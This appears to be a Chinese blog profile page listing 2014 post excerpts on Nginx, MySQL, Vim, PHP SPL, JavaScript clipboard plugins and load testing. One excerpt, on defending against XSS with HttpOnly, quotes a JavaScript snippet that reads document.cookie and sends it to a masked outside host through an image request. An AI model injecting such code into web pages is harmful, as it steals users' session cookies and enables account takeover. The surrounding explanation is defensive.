- 博客(24)
- 资源 (36)
- 收藏
- 关注
原创 Nginx对某个目录或整个网站进行登录认证的方法
比如要对 网站目录下的 test 文件夹 进行加密认证首先需要在opt 的主目录中 /opt/ 创建一个新文件 htpasswd此文件的书写格式是用户名:密码每行一个账户并且 密码必须使用函数 crypt(3) 加密官方档说 可以用 Apache 的 htpasswd 工具来创建密码文件
2014-05-31 23:40:40 4551
原创 Linux系统下安装phpmyadmin方法
1.找到 /libraries/config.default.php文件(config.default.php复制到phpmyadmin目录下,然后更名为config.inc.php),该文件有如下项目(2-8)须自行配置,windows用写字板(不要用记事本,这是UTF8编码)进行编辑,在linux下直接用vim编辑.2.查找 $cfg['PmaAbsoluteUri'] 修改为你将上传到空间的phpMyAdmin的网址如:$cfg['PmaAbsoluteUri'] = 'http://****
2014-05-31 18:01:29 1545
原创 mysql命令
启动:net start mySql; 进入:mysql -u root -p 或者 mysql -h localhost -u root -p databaseName; 列出数据库:show databases; 选择数据库:use databaseName; 列出表格:show tables; 显示表格列的属性:show columns from tableName;
2014-05-31 11:11:34 1356
原创 网站中主要的推荐算法
所谓推荐算法就是利用用户的一些行为,通过一些数学算法,推测出用户可能喜欢的东西。 在推荐系统简介中,我们给出了推荐系统的一般框架。很明显,推荐方法是整个推荐系统中最核心、最关键的部分,很大程度上决定了推荐系统性能的优劣。目前,主要的推荐方法包括:基于内容推荐、协同过滤推荐、基于关联规则推荐、基于效用推荐、基于知识推荐和组合推荐。一、基于内容推荐基于内容的推荐(Content-based Recommendation)是信息过滤技术的延续与发展,它是建立在项目的内容信息上作出推荐的,而不需要
2014-05-31 10:04:54 3651
原创 vim打开文档出现的^M是什么
我查找了^M没效果,应该是特殊的控制字符,查找换行符结果不是,在每一行的末尾不是换行就是回车吧,对于不同的系统对按行的编码定义不一样。linux中用\n 0x0amac 中用\r 0x0dwin 中用\r\n 0x0d0a这里的问题可能是回车符,于是查找回车符成功。去掉方法:现在已经明白了,是由于0x0d0a组成的换行,把0d去掉即可。
2014-05-31 09:52:55 4160
原创 Vim命令合集
命令历史以:和/开头的命令都有历史纪录,可以首先键入:或/然后按上下箭头来选择某个历史命令。启动vim在命令行窗口中输入以下命令即可vim 直接启动vimvim filename 打开vim并创建名为filename的文件文件命令打开单个文件vim file
2014-05-19 09:32:41 1793 2
原创 JS 点击复制Copy插件--Zero Clipboard
Zero Clipboard 的实现原理 Zero Clipboard 利用 Flash 进行复制,之前有 Clipboard Copy 解决方案,其利用的是一个隐藏的 Flash。但最新的 Flash Player 10 只允许在 Flash 上进行操作才能启动剪贴板。所以 Zero Clipboard 对此进行了改进,用了一个透明的 Flash ,让其漂浮在按钮之上,这样其实点击的不是按钮而是 Flash ,也就可以使用 Flash 的复制功能了。
2014-05-19 00:17:32 6255
原创 一个简单的抽奖转盘游戏
在一个项目中要做一个游戏,在这个过程中做了一个简单的9宫格抽奖游戏。大体思路是,点击开始按钮,游戏开始。由一个逐步递增参数 drawStep 来控制格子的背景颜色的改变,游戏停止的位置参数 stopPosition 由随机函数生成,以此来控制格子停止的位置。游戏转动一圈是8个格子,5圈就是40.easeTime参数模拟格子转动的缓步启动和缓步停止。
2014-05-18 22:55:24 3900
原创 学会思考技术背后的那些思想和本质
有一个好想法,比你会一百门技术还有意义,技术可以在你有了想法之后再学,但是,你会100门技术,不见得就能一语惊人。在我以后的程序生涯里面,我想我不应该再完全沉浸在学一门又一门的技术,而是,要学会思考,学会思考那些技术背后的思想和本质,期待,自己也能创造一门技术,而不再是每天学习别人的。
2014-05-18 22:17:35 1480 2
原创 利用HttpOnly来防御xss攻击
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。如下js获取cookie信息: url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src=’http://www.******.c
2014-05-18 18:04:38 3016
原创 网站压力测试工具Webbench介绍
Webbench是一个非常简单的压力测试工具,Webbench最多可以模拟3万个并发连接去测试网站的负载能力。(1)Webbench安装 wget http://www.phpddt.com/soft/linux/webbench-1.5.tar.gz tar zxvf webbench-1.5.tar.gz cd webbench-1.5 make make install
2014-05-18 17:39:49 2188
原创 概念了解:CGI,FastCGI,PHP-CGI与PHP-FPM
CGICGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。FastCGIFastCGI像是一个常驻(long-live)型的CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去fork一次(这是CGI最为人诟病的fork-and-execute 模式)。它还支持分布
2014-05-17 23:48:20 1042
原创 数组在PHP内核中的实现
PHP中经常使用数组,PHP的数组强大,而且速度也快,读写都可以在O(1)内完成,因为它每个元素的大小都是一致的,只要知道下标,便可以瞬间计算出其对应的元素在内存中的位置,从而直接取出或者写入。那么内核中数组是如何实现的呢?PHP大部分功能,都是通过HashTable来实现,其中就包括数组。HashTable即具有双向链表的优点,同时具有能与数据匹敌的操作性能。
2014-05-17 22:39:15 1897
原创 PHP SPL被遗落的宝石
Rafael Dohms 上面的篇文章 让我为之惊艳,忍不住就翻译了下来,同时补充了部分内容。SPL,PHP 标准库(Standard PHP Library) ,此从 PHP 5.0 起内置的组件和接口,并且从 PHP5.3 已逐渐的成熟。SPL 其实在所有的 PHP5 开发环境中被内置,同时无需任何设置。似乎众多的 PHP 开发人员基本没有使用它,甚至闻所未闻。究其原因,可以追述到它那阳春白雪般的说明文档,使你忽略了「它的存在」。SPL 这块宝石犹如铁达尼的「海洋之心」般,被沉入海底。而现在它应
2014-05-17 00:15:56 1377
原创 看看PHP迭代器的内部执行过程
下面我们来了解如何实现一个自定义的迭代器,然后再开始慢慢理解迭代器的内部工作原理。先来看一个官方的例子:<?phpclass myIterator implements Iterator { private $position = 0; private $array = array( "first_element", "second_element", "last_element", );
2014-05-16 23:29:40 4285
原创 用PHP迭代器来实现一个斐波纳契数列
斐波纳契数列通常做法是用递归实现,当然还有其它的方法。这里现学现卖,用PHP的迭代器来实现一个斐波纳契数列,几乎没有什么难度,只是把类里的next()方法重写了一次。注释已经写到代码中,也是相当好理解的。
2014-05-16 23:19:27 1314
原创 PHP高级编程SPL
这几天,我在学习PHP语言中的SPL。这个东西应该属于PHP中的高级内容,看上去很复杂,但是非常有用,所以我做了长篇笔记。不然记不住,以后要用的时候,还是要从头学起。由于这是供自己参考的笔记,不是教程,所以写得比较简单,没有多解释。但是我想,如果你是一个熟练的PHP5程序员,应该足以看懂下面的材料,而且会发现它很有用。现在除此之外,网上根本没有任何深入的SPL中文介绍。
2014-05-16 22:53:04 2939
原创 JS实现点击按钮复制指定代码大全
<br><br>一、点击复制文本框内容的代码:<br><br><script type="text/javascript"> function jsCopy(){ var e=document.getElementById("content");//对象是content e.select(); //选择对象 document.execCommand("Copy"); //执行浏览器复制命令 alert("已复制好,可贴粘。");
2014-05-12 22:33:24 13792
原创 php一维数据转多维
今天在论坛里看到有个朋友的需求,见证csdn的版主都不愧是大牛的角色存在啊!!!字符串为:1 = 光电鼠标2 = 机械鼠标3 = 没有鼠标1.1 = 黑色光电鼠标1.2 = 红色光电鼠标1.2.1 = 蓝牙红色光电鼠标版主解答为:<?php$s =<<< TXT1 = 光电鼠标2 = 机械鼠标3 = 没有鼠标1.1 = 黑色光电鼠标1.2 = 红色光电鼠标1.2.1 = 蓝牙红色光电鼠标TXT;
2014-05-02 23:33:40 1224
原创 linux下源码搭建php环境之mysql(一)
现在已经大半夜了,五一劳动节挺无聊的。折腾一下吧,实在是睡不着。于是乎在电脑上安装个虚拟机,然后呢,在虚拟机上搭建一个php环境。首先我得安装MYSQL吧。发现遇到的问题真多。。待我娓娓道来。主要介绍linux操作系统下MySQL源码进行纯手动安装,如果你对linux操作系统下MySQL源码进行纯手动安装的实际操作流程感兴趣的话,你不妨浏览以下的文章。1.实现linux下纯手动MySQL源码安装,首先要下载MySQL的源码,我下载的是MySQL-5.0.87.tar.gz2.解压tar
2014-05-02 00:12:26 1930
原创 centos 使用 CP 命令 不提示 覆盖
今天 在我的VPS上拷一个文件夹,但放的地方有一个同名文件夹而且里面还有文件,如是直接拷过去,结果有N个要确认替换的提示,直接CTRL+C,在网上搜了把,发现有几个方法可以解决,方法如下:一般我们使用的命令是cp -rf sourcefile targetdir或cp -r -f sourcefile targetdir, -r的意思是递归复制,也就是复制文件夹及其下所有文件
2014-05-01 17:37:29 5810
php表白程序
2014-03-14
php+mysql+jquery瀑布流
2014-02-16
IECapt实现网页快照
2014-01-23
无限极分类
2014-01-22
PHP QR Code二维码类生成二维码
2014-01-19
PHP QR Code
2014-01-19
Kohana v2.2 中文手册
2013-09-20
Kohana_v2.2
2013-09-20
openssl windows
2016-03-23
最新全国5级行政区(省,城市,地区县,镇区,村居委会),mysql数据库
2015-07-28
Teleport Ultra免费下载网页
2015-07-09
Teleport Pro 1.68 官方原版+有效注册码–下载整个网站
2015-07-09
wamp2.5的memcache安装包
2015-06-13
php+html5移动端图片压缩上传
2015-01-10
bbpress汉化包wordpress插件
2014-11-21
memcached-1.2.1-win32.zip
2014-11-02
js复制插件
2014-05-19
头像上传html+js版
2014-03-13
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人